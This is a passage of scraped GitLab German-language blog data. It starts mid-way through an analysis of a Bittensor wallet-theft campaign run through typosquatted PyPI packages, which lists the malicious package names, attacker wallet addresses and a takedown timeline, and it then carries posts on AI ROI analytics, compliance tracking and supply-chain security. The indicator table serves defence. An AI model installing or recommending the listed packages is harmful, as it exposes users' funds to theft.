`5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu`\n\n4. **Auszahlungsendpunkt:** Das finale Ziel scheint\n   `5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ` zu sein\n\n## Die Typosquatting-Strategie\n\n\nDie Angreifer verwendeten eine Typosquatting-Strategie, die häufige Tippfehler und Paket-Namenskonventionen ausnutzt:\n\n\n* **Fehlende Zeichen:** `bitensor` statt `bittensor` (fehlendes 't')\n\n* **Kürzung:** `bittenso` statt `bittensor` (fehlendes finales 'r')\n\n* **Versions-Nachahmung:** Alle Pakete verwendeten Versionsnummern (`9.9.4`, `9.9.5`), die den legitimen Paketversionen sehr ähnlich sind\n\n\nDieser Ansatz maximiert die Installationswahrscheinlichkeit durch Entwickler-Tippfehler während `pip install`-Befehlen und Copy-Paste-Fehler aus Dokumentationen.\n\n\n## Die Zukunft der Supply-Chain-Sicherheit\n\n\nGitLab investiert weiterhin in proaktive Sicherheitsforschung, um Bedrohungen zu identifizieren und zu neutralisieren, bevor sie die Community beeinträchtigen. Das automatisierte Erkennungssystem arbeitet rund um die Uhr, um die Software-Supply-Chain zu schützen, die die moderne Entwicklung antreibt.\n\n\nDie schnelle Erkennung und Analyse dieses Angriffs demonstriert den Wert proaktiver Sicherheitsmaßnahmen im Kampf gegen ausgeklügelte Bedrohungen. Durch das Teilen der Erkenntnisse streben wir danach, die Widerstandsfähigkeit des gesamten Ökosystems gegen zukünftige Angriffe zu stärken.\n\n\n## Kompromittierungsindikatoren\n\n\n\\| IOC                                                | Beschreibung                                                      |\n\n\n\\| -------------------------------------------------- | ----------------------------------------------------------------- |\n\n\n\\| `pkg:pypi/bittenso@9.9.5`                          | Bösartiges PyPI-Paket                                             |\n\n\n\\| `pkg:pypi/bitensor@9.9.5`                          | Bösartiges PyPI-Paket                                             |\n\n\n\\| `pkg:pypi/bitensor@9.9.4`                          | Bösartiges PyPI-Paket                                             |\n\n\n\\| `pkg:pypi/qbittensor@9.9.4`                        | Bösartiges PyPI-Paket                                             |\n\n\n\\| `pkg:pypi/bittenso-cli@9.9.4`                      | Bösartiges PyPI-Paket                                             |\n\n\n\\| `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` | Bittensor (TAO) Wallet-Adresse für den Empfang gestohlener Gelder |\n\n\n## Zeitachse\n\n\n\\| Datum & Uhrzeit      | Aktion                                                                                        |\n\n\n\\| -------------------- | --------------------------------------------------------------------------------------------- |\n\n\n\\| **2025-08-06T06:33** | Erste Analyse verdächtiger Pakete, die vom automatisierten Überwachungssystem gemeldet wurden |\n\n\n\\| **2025-08-06T09:42** | `bittenso@9.9.5` an PyPi.org gemeldet                                                         |\n\n\n\\| **2025-08-06T09:46** | `bitensor@9.9.5` an PyPi.org gemeldet                                                         |\n\n\n\\| **2025-08-06T09:47** | `bitensor@9.9.4` an PyPi.org gemeldet                                                         |\n\n\n\\| **2025-08-06T09:49** | `qbittensor@9.9.4` an PyPi.org gemeldet                                                       |\n\n\n\\| **2025-08-06T09:51** | `bittenso-cli@9.9.4` an PyPi.org gemeldet                                                     |\n\n\n\\| **2025-08-06T15:26** | PyPi.org entfernte `bittenso@9.9.5`                                                           |\n\n\n\\| **2025-08-06T15:27** | PyPi.org entfernte `bitensor@9.9.5`                                                           |\n\n\n\\| **2025-08-06T15:27** | PyPi.org entfernte `bitensor@9.9.4`                                                           |\n\n\n\\| **2025-08-06T15:28** | PyPi.org entfernte `qbittensor@9.9.4`                                                         |\n\n\n\\| **2025-08-06T15:28** | PyPi.org entfernte `bittenso-cli@9.9.4`                                                       |\n",[765],"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg",{"featured":6,"template":682,"slug":1080},"gitlab-uncovers-bittensor-theft-campaign-via-pypi","content:de-de:blog:gitlab-uncovers-bittensor-theft-campaign-via-pypi.yml","Gitlab Uncovers Bittensor Theft Campaign Via Pypi","de-de/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi.yml","de-de/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi",{"_path":1086,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1087,"content":1091,"config":1097,"_id":1099,"_type":16,"title":1100,"_source":17,"_file":1101,"_stem":1102,"_extension":20},"/de-de/blog/measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics",{"config":1088,"title":1089,"description":1090},{"noIndex":6},"AI-ROI skaliert messen: Ein praktischer Leitfaden zu GitLab Duo Analytics","So werden Rohdaten in fundierte Geschäftsentscheidungen und ROI-Berechnungen transformiert – mit diesem strategischen Leitfaden.",{"title":1089,"description":1090,"authors":1092,"heroImage":1094,"body":1095,"category":677,"tags":1096,"date":1075},[1093],"Paul Meresanu","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662840/Blog/Hero%20Images/ai-experiment-stars.png","# AI-ROI skaliert messen: Ein praktischer Leitfaden zu GitLab Duo Analytics\n\n\n*Systematische Transformation von Rohdaten in fundierte Geschäftsentscheidungen und ROI-Berechnungen*\n\n\n- - -\n\n\n## Einführung\n\n\nErfolgreiche KI-Investitionen erfordern systematische Messungen. Die Entwicklung einer KI-gestützten Entwicklungsplattform beginnt mit dem Verständnis der tatsächlichen Nutzung, Akzeptanzmuster und des nachweislichen Geschäftswerts – insbesondere des ROI von GitLab Duo Enterprise.\n\n\nUm Kunden bei der Maximierung der KI-Investitionen zu unterstützen, wurde die GitLab Duo Analytics-Lösung als Teil des Duo Accelerator-Programms entwickelt. Diese systematische Lösung transformiert Rohdaten in fundierte Geschäftserkenntnisse und ROI-Berechnungen, ermöglicht Lizenzoptimierung und erstellt überzeugende Business Cases für erweiterte KI-Adoption.\n\n\n- - -\n\n\n## Die Herausforderung: Systematische KI-ROI-Messung im Unternehmen\n\n\nVor der Einführung systematischer KI-ROI-Messung ist es wichtig, die Messungsanforderungen methodisch zu verstehen.\n\n\n### Praxisbeispiel: Finanzdienstleister\n\n\nEine führende Finanzdienstleistungsorganisation arbeitete über das Duo Accelerator-Programm mit einem GitLab Customer Success Architect zusammen. Gemeinsam wurde eine systematische Analytics-Lösung implementiert, die monatliche Datenerfassung mit Echtzeit-Integration kombiniert – eine skalierbare Grundlage für die Messung von KI-Produktivitätsgewinnen.\n\n\n### Systematische Messungsplanung\n\n\nFolgende Punkte sind typischerweise zu beachten:\n\n\n* **Welche GitLab Duo-Funktionen müssen gemessen werden?** (Code-Vorschläge, Chat-Unterstützung, Sicherheitsscan)\n\n* **Wer sind die KI-Nutzer?** (Entwickler, Sicherheitsteams, DevOps-Engineers)\n\n* **Welche Geschäftsmetriken sind wichtig?** (Zeiteinsparungen, Produktivitätsgewinne, Kostenoptimierung)\n\n* **Wie funktioniert die systematische Datenerfassung?** (automatisierte Prozesse, API-Integration)\n\n\nDiese systematische Analyse ermöglicht die Definition von nachweislichem ROI-Messframework, Key Performance Indicators (KPIs), systematischer Datenerfassungsstrategie und Stakeholder-Berichtsanforderungen.\n\n\n- - -\n\n\n## ROI-Messframework: Bewährte Methodik\n\n\n### Systematische Datenerfassung\n\n\n**Was das System leistet:** Das System erfasst systematisch vier spezialisierte Datentypen für eine vollständige ROI-Analyse: Code-Vorschlag-Metriken, Nutzerengagement-Daten, Lizenznutzungs-Analyse und Chat-Produktivitätsmetriken.\n\n\n**Wie die Umsetzung erfolgt:** Die Implementierung nutzt GitLabs GraphQL APIs für parallele Datenextraktion aus spezialisierten Quellen, kategorisiert Nutzer nach Engagement-Levels (Power: 10+, Regular: 5-9, Light: 1-4) und kombiniert monatliche Batch-Verarbeitung mit Echtzeit-Integration für skalierbare Unternehmensarchitektur.\n\n\n### Geschäftswert-Metriken\n\n\n**Was gemessen wird:** Präzise Nutzer-Kategorisierung ermöglicht optimale Lizenzzuteilung basierend auf nachweislicher Nutzung. Systematischer Abgleich lizenzierter vs. aktiver Benutzer identifiziert automatisch ungenutzte Lizenzen für ROI-Optimierung.\n\n\n**Wie die Analyse funktioniert:** Automatisierte Datenqualitätsprüfung gewährleistet verlässliche Geschäftserkenntnisse durch kontinuierliche Validierung der Nutzungsmetriken und systematische Berechnung von Produktivitätssteigerungen.\n\n\n*Hinweis: Detaillierte technische Implementierungsschritte stehen Entwicklungsteams in der englischen Version dieses Leitfadens zur Verfügung.*\n\n\n- - -\n\n\n## Geschäftswert-Analyse: Systematische ROI-Visualisierung\n\n\n### Dashboard-Funktionalität\n\n\n**Was das System liefert:** Systematische Visualisierung von vier Analysebereichen: Lizenznutzungs-Optimierung mit Identifikation ungenutzter Kapazitäten, Duo Chat-Analysen für strategische Planung, Code-Vorschlag-Leistung nach Programmiersprachen und Engagement-Kategorisierung für gezielte Trainingsmaßnahmen.\n\n\n**Wie die Metriken berechnet werden:** Das Dashboard generiert nachweislich präzise ROI-Berechnungen durch Zeitersparnis-Quantifizierung basierend auf Code-Vorschlag-Akzeptanz, systematische Nutzungsanalyse und datengestützte Lizenzstrategie-Entwicklung.\n\n\n### Typische Geschäftsergebnisse\n\n\n> **Basierend auf tatsächlichen Dashboard-Daten zeigen Organisationen typischerweise:**\n\n>\n\n> * **Lizenzoptimierung:** 66.7% aktive Nutzer, **33.3% ungenutzte Kapazität** systematisch identifiziert\n\n> * **Chat-Engagement:** **68.4% Adoption-Rate** bei durchschnittlich **8.3 Events pro Nutzer**  \n\n> * **Code-Vorschlag-Leistung:** **50.0% (Go) bis 80.0% (TypeScript)** Akzeptanz je nach Programmiersprache\n\n> * **Spitzenleistung:** TypeScript mit **80.0% Akzeptanzrate** optimiert Entwicklerproduktivität\n\n> * **90-Tage-Trends:** **2.847 Chat-Events** von **342 aktiven Nutzern** für strategische Planung\n\n> * **Nutzungsanalyse:** Systematische Erfassung über **5 Programmiersprachen** mit durchschnittlich **3.2 täglichen Sessions**\n\n\n- - -\n\n\n## Skalierung und Automatisierung: Unternehmensweite Implementierung\n\n\n### Vollautomatisierte Datenerfassung\n\n\n**Was automatisiert wird:** Vollautomatisierte monatliche Datenerfassung eliminiert manuelle Prozesse durch systematische Pipeline-Ausführung ohne manuellen Eingriff und Qualitätssicherung durch automatisierte Datenvalidierung.\n\n\n**Wie die Integration erfolgt:** Integration in bestehende DevOps-Workflows durch native GitLab-Pipelines nutzt vorhandene Infrastruktur für automatisierte Berichtsgenerierung und standardisierte Unternehmensbereitstellung.\n\n\n### Automatisierungsstrategie\n\n\n```yaml\n\n# Beispiel: Monatliche automatisierte ROI-Berichterstellung\n\nduo_analytics_collection:\n  stage: analytics\n  script:\n    - Automatisierte Datenerfassung aus vier Quellen\n    - ROI-Metrik-Berechnung und Dashboard-Update\n  schedule: \"Monatlich am 1. um 2 Uhr morgens\"\n```\n\n\nDie systematische Automatisierung transformiert manuelle Analytics-Prozesse in eine selbsterhaltende ROI-Messungs-Engine, die konsistent verwertbare Geschäftserkenntnisse liefert.\n\n\n- - -\n\n\n## Strategische Vorteile: Warum GitLab für KI-ROI-Messung\n\n\nDie systematische DevSecOps-Architektur von GitLab bietet nachweislich die ideale Grundlage für Unternehmens-KI-Analysen. Mit nativen APIs, flexiblem Datenzugriff und integrierten KI-Funktionen können Organisationen die KI-Messung über den gesamten Entwicklungslebenszyklus zentralisieren.\n\n\nDie methodische Architektur ermöglicht kundenspezifische Analytics-Lösungen mit API-First-Design für detaillierte Nutzungsdaten-Extraktion, Integration mit Unternehmenssystemen für umfassende ROI-Analyse und skalierbare Berichtsanforderungen für verschiedene Stakeholder-Ebenen.\n\n\nDer systematische Ansatz stellt sicher, dass nachhaltige KI-Adoptionsstrategien aufgebaut werden. Die etablierten Messframeworks, KPIs und Datenerfassungsprozesse gehen nahtlos zu erweiterten nativen Funktionen über und stellen sicher, dass die Investition in KI-Messung mit GitLabs sich entwickelnder Lösung wächst.\n\n\n- - -\n\n\n## Nächste Schritte: Systematische Implementierung\n\n\nDie KI-ROI-Messung ist der systematische Ausgangspunkt für datengestützte KI-Optimierung. Mit GitLab Duo können Organisationen eine Messungsgrundlage durch bewährte Analytics-Frameworks etablieren, ROI-Transparenz für fundierte Investitionsentscheidungen schaffen und Optimierungspotentiale basierend auf nachweislichen Nutzungsmustern identifizieren.\n\n\nDie systematische Analytics-Lösung liefert die Sichtbarkeit und Erkenntnisse für datengestützte Entscheidungsfindung statt intuitionsbasierte KI-Strategie, optimierte Ressourcenzuteilung durch präzise Nutzungsanalyse und strategische Wettbewerbsvorteile durch systematische KI-ROI-Optimierung.\n\n\n**Für die detaillierte technische Implementierung mit vollständigen Code-Beispielen, API-Konfigurationen und Schritt-für-Schritt-Anleitungen steht Ihren Entwicklungsteams die englische Version dieses Leitfadens zur Verfügung:** [](https://about.gitlab.com/blog/measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics/)[Measuring AI ROI at scale: A practical guide to GitLab Duo Analytics](\u003CMeasuring AI ROI at scale: A practical guide to GitLab Duo Analytics>)\n\n\n[](\u003CMeasuring AI ROI at scale: A practical guide to GitLab Duo Analytics>)\n\n\n- - -\n\n\n**Die Zukunft der KI-gestützten Entwicklung ist datengesteuert und beginnt mit systematischen Messungen.**\n\n\n> Systematische KI-ROI-Messung heute beginnen - mit einer [kostenlosen Testversion von GitLab Ultimate mit Duo Enterprise](https://about.gitlab.com/gitlab-duo/).\n",[679,680,767],{"featured":6,"template":682,"slug":1098},"measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics","content:de-de:blog:measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics.yml","Measuring Ai Roi At Scale A Practical Guide To Gitlab Duo Analytics","de-de/blog/measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics.yml","de-de/blog/measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics",{"_path":1104,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1105,"content":1109,"config":1118,"_id":1120,"_type":16,"title":1121,"_source":17,"_file":1122,"_stem":1123,"_extension":20},"/de-de/blog/how-to-transform-compliance-observation-management-with-gitlab",{"config":1106,"title":1107,"description":1108},{"noIndex":6},"Wie du das Compliance-Beobachtungsmanagement mit GitLab transformierst","Erfahre, wie das Security-Compliance-Team von GitLab das Beobachtungsmanagement mithilfe der DevSecOps-Plattform verbessert hat und dabei Transparenz, Zusammenarbeit und Verantwortlichkeit gesteigert hat.",{"title":1110,"description":1108,"authors":1111,"heroImage":1113,"date":1114,"body":1115,"category":765,"tags":1116},"Wie du das Management von Compliance-Beobachtungen mit GitLab transformierst",[1112],"Madeline Lake","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675154/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","2025-07-24","Eine Beobachtung ist ein Compliance-Befund oder eine Schwachstelle, die während der Kontrollüberwachung identifiziert wird. Im Wesentlichen handelt es sich um eine Lücke zwischen Soll und Ist deiner Sicherheitskontrollen. Beobachtungen entstehen aus drei Hauptquellen: Designmängel, bei denen die Kontrolle nicht ordnungsgemäß strukturiert ist. Probleme mit der Betriebseffektivität, bei denen die Kontrolle existiert, aber nicht wie vorgesehen funktioniert. Oder Beweislücken, bei denen erforderliche Dokumentation fehlt.\n\nDiese Beobachtungen entstehen aus unserem vierteljährlichen Kontrollüberwachungsprozess. Dabei bewerten wir systematisch die Effektivität von Sicherheitskontrollen für unsere Zertifizierungen (SOC 2, ISO 27001 usw.). Zusätzlich können Beobachtungen aus externen Audits durch unabhängige Prüfer(innen) resultieren.\n\nBeobachtungsmanagement ist der Prozess, mit dem wir diese Beobachtungen von der Identifizierung über die Behebung bis zum Abschluss verwalten. In diesem Artikel erfährst du, wie das GitLab-Sicherheitsteam die DevSecOps-Plattform nutzt, um Beobachtungen zu verwalten und zu beheben, und welche Effizienzsteigerungen wir dadurch erzielt haben.\n\n## Der GitLab-Beobachtungslebenszyklus: Von der Identifizierung zur Lösung\n\nDer Lebenszyklus einer Beobachtung umfasst den gesamten Prozess von der ersten Identifizierung durch Compliance-Ingenieur(innen) bis zur abgeschlossenen Behebung durch Behebungsverantwortliche. Dieser Lebenszyklus ermöglicht transparente Echtzeit-Statusberichte, die für alle Beteiligten leichter zu verstehen und zu verfolgen sind.\n\nHier sind die Phasen des Beobachtungslebenszyklus:\n\n**1. Identifizierung**\n\n* Compliance-Ingenieur(innen) identifizieren potenzielle Beobachtungen während der vierteljährlichen Überwachung.  \n* Eine erste Validierung erfolgt, um zu bestätigen, dass der Befund eine echte Kontrolllücke darstellt.  \n* Die detaillierte Dokumentation beginnt sofort in einem GitLab-Issue.  \n* Die Grundursache der Beobachtung wird ermittelt und ein Behebungsplan zur Behebung der Grundursache wird erstellt.\n\n**2. Validierung**\n\n* Das Issue wird dem/der entsprechenden Behebungsverantwortlichen zugewiesen (normalerweise eine Teamleitung oder Abteilungsleiter(in)).  \n* Der/die Behebungsverantwortliche überprüft und bestätigt, dass er/sie die Verantwortung versteht und akzeptiert.  \n* Der Behebungsplan wird bei Bedarf gemeinsam überprüft, priorisiert und aktualisiert.\n\n**3. In Bearbeitung**\n\n* Die aktive Behebungsarbeit beginnt mit klaren Meilensteinen und Fristen.  \n* Regelmäßige Updates werden über GitLab-Kommentare und Statusänderungen bereitgestellt.  \n* Die Zusammenarbeit erfolgt transparent, sodass alle Beteiligten den Fortschritt sehen können.\n\n**4. Behoben**\n\n* Der/die Behebungsverantwortliche markiert die Arbeit als abgeschlossen und stellt Nachweise zur Verfügung.  \n* Das Issue geht zur Compliance-Überprüfung zur Validierung über.\n\n**5. Lösung**\n\n* Compliance-Ingenieur(innen) verifizieren, dass die Abschlusskriterien erfüllt sind.  \n* Das Issue wird mit finaler Dokumentation geschlossen.  \n* Erkenntnisse werden für zukünftige Prävention erfasst.\n\n**Alternative Pfade** behandeln blockierte Arbeiten, Risikoakzeptanzentscheidungen und stagnierende Behebungsbemühungen mit entsprechenden Eskalations-Workflows.\n![Beispiel eines Beobachtungslebenszyklus](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753301753/pbvheikwpivuvhzd5ith.png)\n\n\u003Ccenter>\u003Ci>Beispiel eines Beobachtungslebenszyklus\u003C/i>\u003C/center>\n\n## Die Macht der Transparenz in GitLab\n\nEffektives Management von Compliance-Befunden sollte keine Detektivarbeit erfordern. Grundlegende Informationen wie Eigentümerschaft, Status oder Priorität sollten sofort ersichtlich sein. Dennoch erleben die meisten Organisationen folgendes Szenario: Compliance-Teams jagen Updates hinterher. Operative Teams kennen ihre Verantwortlichkeiten nicht. Die Führungsebene hat keine Sichtbarkeit auf tatsächliche Risiken – bis zur Audit-Saison.\n\nDas Security-Compliance-Team bei GitLab stand vor genau diesen Problemen. Unser Team nutzte zunächst ein dediziertes GRC-Tool als zentrale Datenquelle für ausstehende Befunde. Doch wichtige Stakeholder hatten keine Sichtbarkeit. Das Ergebnis: Nur minimale Behebungen fanden statt. Das Team verbrachte seine Zeit mit administrativen Aufgaben, anstatt Behebungsbemühungen zu leiten.\n\nUnsere Lösung: Wir verlagerten das Management direkt in GitLab-Issues innerhalb eines dedizierten Projekts. Dieser Ansatz verwandelt Compliance-Befunde in sichtbare, umsetzbare Arbeitselemente. Sie integrieren sich natürlich in Entwicklungs- und Betriebs-Workflows. Jeder Stakeholder kann sehen, was Aufmerksamkeit benötigt. Teams können bei Behebungsplänen zusammenarbeiten und den Fortschritt in Echtzeit verfolgen.\n\n### Intelligente Organisation durch Labels und Issue Boards\n\nGitLab ermöglicht es Teams, Beobachtungs-Issues in mehrere Organisationsansichten zu kategorisieren. Das Security-Compliance-Team verwendet Folgendes zur Kategorisierung von Beobachtungen:\n\n* **Workflow:** `~workflow::identified`, `~workflow::validated`, `~workflow::in progress`, `~workflow::remediated`  \n* **Abteilung:** `~dept::engineering`, `~dept::security`, `~dept::product`   \n* **Risikoschwere:** `~risk::critical`, `~risk::high`, `~risk::medium`, `~risk::low`  \n* **System:** `~system::gitlab`, `~system::gcp`, `~system::hr-systems`   \n* **Programm:** `~program::soc2`, `~program::iso`, `~program::fedramp` , `~program::pci`\n\nDiese Labels werden dann genutzt, um Issue Boards zu erstellen:\n\n* **Workflow-Boards** visualisieren die Phasen des Beobachtungslebenszyklus.  \n* **Abteilungs-Boards** zeigen die Behebungsarbeitslast jedes Teams.  \n* **Risikobasierte Boards** priorisieren kritische Befunde, die sofortige Aufmerksamkeit erfordern.  \n* **System-Boards** visualisieren Beobachtungen nach System.  \n* **Programm-Boards** verfolgen die zertifizierungsspezifische Beobachtungslösung.\n\nLabels ermöglichen leistungsstarke Filter- und Berichtsfunktionen und unterstützen gleichzeitig automatisierte Workflows durch unsere Triage-Bot-Richtlinien. Weitere Details zu unserer Automatisierungsstrategie findest du im Abschnitt Automatisierung.\n\n## Automatisierung: Intelligenter arbeiten, nicht härter\n\nDie Verwaltung von Dutzenden von Befunden über mehrere Zertifizierungen hinweg erfordert intelligente Automatisierung. Das Security-Compliance-Team nutzt den Triage-Bot – ein Open-Source-Projekt, das in GitLab gehostet wird. Das Triage-Bot-Gem ermöglicht es Projektmanager(inne)n, Issues automatisch zu triagieren. Die Triagierung basiert auf definierten Richtlinien in GitLab-Projekten oder -Gruppen.\n\nInnerhalb des Beobachtungsmanagement-Projekts haben wir Richtlinien geschrieben, um sicherzustellen, dass jedes Issue eine(n) Zugewiesene(n) hat, jedes Issue erforderliche Labels hat, Issues alle 30 Tage aktualisiert werden und blockierte und stagnierende Issues alle 90 Tage angestupst werden. Zusätzlich wird wöchentlich ein Zusammenfassungs-Issue erstellt, um alle Issues zusammenzufassen, die nicht unseren definierten Richtlinien entsprechen. Dies ermöglicht es Teammitgliedern, Issues effizient zu überwachen und weniger Zeit für administrative Aufgaben aufzuwenden.\n\n## Erfolgsmessung: Schlüsselmetriken und Berichterstattung\n\nGitLabs Roh-Issue-Daten lassen sich in umsetzbare Erkenntnisse umwandeln. Organisationen können aussagekräftige Insights aus verschiedenen Datenquellen extrahieren: Issue-Erstellungsdatum, Abschlussdatum, letztes Update und Labels. Die folgenden Metriken bieten einen umfassenden Überblick über die Effektivität deines Compliance-Managements:\n\n**Analyse der Lösungseffizienz:** Durchschnittliche Zeit von der Identifizierung bis zur Lösung nach Abteilung und Schweregrad.\n\nVerfolge Issue-Erstellungs- versus Abschlussdaten über Abteilungen und Schweregrade hinweg. Das identifiziert Engpässe und misst die Leistung gegen SLAs. So erkennst du, welche Teams bei schnellen Reaktionen hervorragend sind. Und welche zusätzliche Ressourcen oder Prozessverbesserungen benötigen.\n\n**Echtzeit-Risikobewertung:** Aktuelles Risikoprofil basierend auf offenen kritischen und hochriskanten Befunden.\n\nNutze Risikostufen-Labels für dynamische Visualisierungen der aktuellen Risikoexposition. Das bietet der Führungsebene sofortiges Verständnis: Welche kritischen Befunde erfordern dringend Aufmerksamkeit.\n\n**Strategische Ressourcenzuweisung:** Risikoverteilung auf Abteilungsebene für gezielte Verbesserungen.\n\nIdentifiziere, welche Abteilungen für Befunde mit dem höchsten Risiko verantwortlich sind. So priorisierst du Ressourcen, Aufsicht und Projekte richtig. Dieser datengesteuerte Ansatz fokussiert Verbesserungen dort, wo sie maximale Wirkung haben.\n\n**Überwachung der Compliance-Bereitschaft:** Zertifizierungsspezifische Beobachtungszahlen und Lösungsraten\n\nNutze Zertifizierungs-Labels, um die Audit-Bereitschaft zu bewerten und den Fortschritt bei Compliance-Zielen zu verfolgen. Diese Metrik bietet eine Frühwarnung vor potenziellen Zertifizierungsrisiken und validiert Behebungsbemühungen.\n\n**Verantwortlichkeitsverfolgung:** Überfällige Behebungen\n\nÜberwache die SLA-Einhaltung, um sicherzustellen, dass Beobachtungen rechtzeitig Aufmerksamkeit erhalten. Diese Metrik hebt systemische Verzögerungen hervor und ermöglicht proaktive Intervention, bevor kleine Probleme zu großen Problemen werden.\n\n**Engagement-Gesundheitsprüfung:** Beobachtungsaktualität\n\nVerfolge die jüngste Aktivität (Updates innerhalb von 30 Tagen), um sicherzustellen, dass Beobachtungen aktiv verwaltet und nicht vergessen werden. Diese Metrik identifiziert stagnierende Issues, die möglicherweise eine Eskalation oder Neuzuweisung erfordern.\n\n## Fortgeschrittene Strategien: Beobachtungsmanagement weiter vorantreiben\n\nHier ist, was du tun kannst, um die Wirkung des Beobachtungsmanagements in deiner Organisation zu vertiefen.\n\n**Integration mit Sicherheitstools**\n\nModernes Beobachtungsmanagement geht über manuelle Verfolgung hinaus, indem es sich mit deiner bestehenden Sicherheitsinfrastruktur verbindet. Organisationen können Schwachstellenscanner und Sicherheitsüberwachungstools konfigurieren, um automatisch Beobachtungs-Issues zu generieren, wodurch manuelle Dateneingabe eliminiert und umfassende Abdeckung sichergestellt wird.\n\n**Prädiktive Analytik anwenden**\n\nModernes Compliance-Management geht über manuelle Verfolgung hinaus. Es verbindet sich mit deiner bestehenden Sicherheitsinfrastruktur. Organisationen können Schwachstellenscanner und Sicherheitsüberwachungstools konfigurieren. Diese generieren automatisch Issues für Compliance-Befunde. Das eliminiert manuelle Dateneingabe und stellt umfassende Abdeckung sicher..\n\n**Anpassung für Stakeholder**\n\nEffektives Beobachtungsmanagement erkennt an, dass verschiedene Rollen unterschiedliche Perspektiven auf dieselben Daten erfordern. Rollenbasierte Dashboards liefern maßgeschneiderte Ansichten für Führungskräfte, die hochrangige Risikozusammenfassungen suchen, Abteilungsleiter(innen), die die Teamleistung verfolgen, und einzelne Mitwirkende, die ihre zugewiesenen Beobachtungen verwalten. Automatisierte Berichtssysteme können konfiguriert werden, um verschiedenen Zielgruppenbedürfnissen und Kommunikationspräferenzen zu entsprechen, von detaillierten technischen Berichten bis zu Executive Briefings. Self-Service-Analysefähigkeiten befähigen Stakeholder, Ad-hoc-Analysen durchzuführen und benutzerdefinierte Erkenntnisse zu generieren, ohne technisches Fachwissen oder Support zu benötigen.\n\n## Von bloßer Compliance zu operativer Exzellenz\n\nGitLabs Ansatz zum Compliance-Management stellt mehr als einen Toolwechsel dar. Es ist eine grundlegende Verschiebung: von reaktiver Compliance zu proaktiver Risikominderung. Das Aufbrechen von Silos zwischen Compliance-Teams und operativen Stakeholdern bringt beispiellose Transparenz. Gleichzeitig verbessern sich die Behebungsergebnisse dramatisch.\n\nDie Ergebnisse sind messbar: Schnellere Lösungen durch transparente Verantwortlichkeit. Aktive Stakeholder-Zusammenarbeit statt widerwilliger Teilnahme. Kontinuierliche Audit-Bereitschaft statt periodischer Hektik. Automatisierte Workflows befreien Compliance-Fachleute für strategische Arbeit. Reichhaltige Daten ermöglichen prädiktive Analysen. Der Fokus verschiebt sich von reaktiver Brandbekämpfung zu proaktiver Prävention.\n\nAm wichtigsten ist, dass dieser Ansatz Compliance von einer Last zu einem strategischen Befähiger erhebt. Wenn Beobachtungen zu sichtbaren, verfolgbaren Arbeitselementen werden, die in operative Workflows integriert sind, entwickeln Organisationen eine stärkere Sicherheitskultur und dauerhafte Verbesserungen, die über jeden einzelnen Audit-Zyklus hinausgehen. Das Ergebnis ist nicht nur regulatorische Compliance. Es ist organisatorische Resilienz und Wettbewerbsvorteil durch überlegenes Risikomanagement.\n\n> Möchtest du mehr über GitLabs Sicherheits-Compliance-Praktiken erfahren? Schau dir unser [Security Compliance Handbook](https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/) für weitere Einblicke und Implementierungsanleitungen an.",[765,1117],"inside GitLab",{"featured":6,"template":682,"slug":1119},"how-to-transform-compliance-observation-management-with-gitlab","content:de-de:blog:how-to-transform-compliance-observation-management-with-gitlab.yml","How To Transform Compliance Observation Management With Gitlab","de-de/blog/how-to-transform-compliance-observation-management-with-gitlab.yml","de-de/blog/how-to-transform-compliance-observation-management-with-gitlab",{"_path":1125,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1126,"content":1129,"config":1136,"_id":1138,"_type":16,"title":1139,"_source":17,"_file":1140,"_stem":1141,"_extension":20},"/de-de/blog/software-supply-chain-security-guide-why-organizations-struggle",{"noIndex":6,"title":1127,"description":1128},"Software Supply Chain Security Leitfaden: Warum Organisationen scheitern","Teil 1 dieser neuen Serie untersucht grundlegende Herausforderungen, praktische Lösungen und neue Trends, einschließlich KI, die jedes Entwicklungsteam verstehen muss.",{"title":1130,"description":1131,"authors":1132,"heroImage":1133,"date":1114,"body":1134,"category":765,"tags":1135},"Warum Organisationen bei der Software Supply Chain Security kämpfen","Der erste Teil dieser Serie behandelt die wichtigsten Herausforderungen, praktische Lösungsansätze und aktuelle Trends wie KI – Wissen, das jedes Entwicklungsteam braucht.",[866],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097701/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%285%29_1iy516k40hwBDChKcUJ2zb_1750097700983.png","Wenn du die meisten Entwicklungsteams nach Supply Chain Security fragst, konzentrieren sich ihre Antworten auf Schwachstellenscans oder Abhängigkeitsmanagement. Diese Bereiche sind zwar wichtige Komponenten, stellen aber eine gefährlich eingeschränkte Sichtweise auf eine viel komplexere Herausforderung dar.\n\n**Software-Supply-Chain-Sicherheit beschränkt sich nicht nur auf das Scannen von Abhängigkeiten.** Sie umfasst den gesamten Prozess von der Code-Entwicklung bis zur Produktionsbereitstellung, einschließlich:\n\n* **Quellsicherheit:** Schutz von Code-Repositorys, Verwaltung von Mitwirkenden-Zugriff, Sicherstellung der Code-Integrität  \n* **Build-Sicherheit:** Sichere Build-Umgebungen, Verhinderung von Manipulationen während der Kompilierung und Paketierung  \n* **Artefakt-Sicherheit:** Sicherstellung der Integrität von Containern, Paketen und Bereitstellungsartefakten  \n* **Bereitstellungssicherheit:** Sicherung der Liefermechanismen und 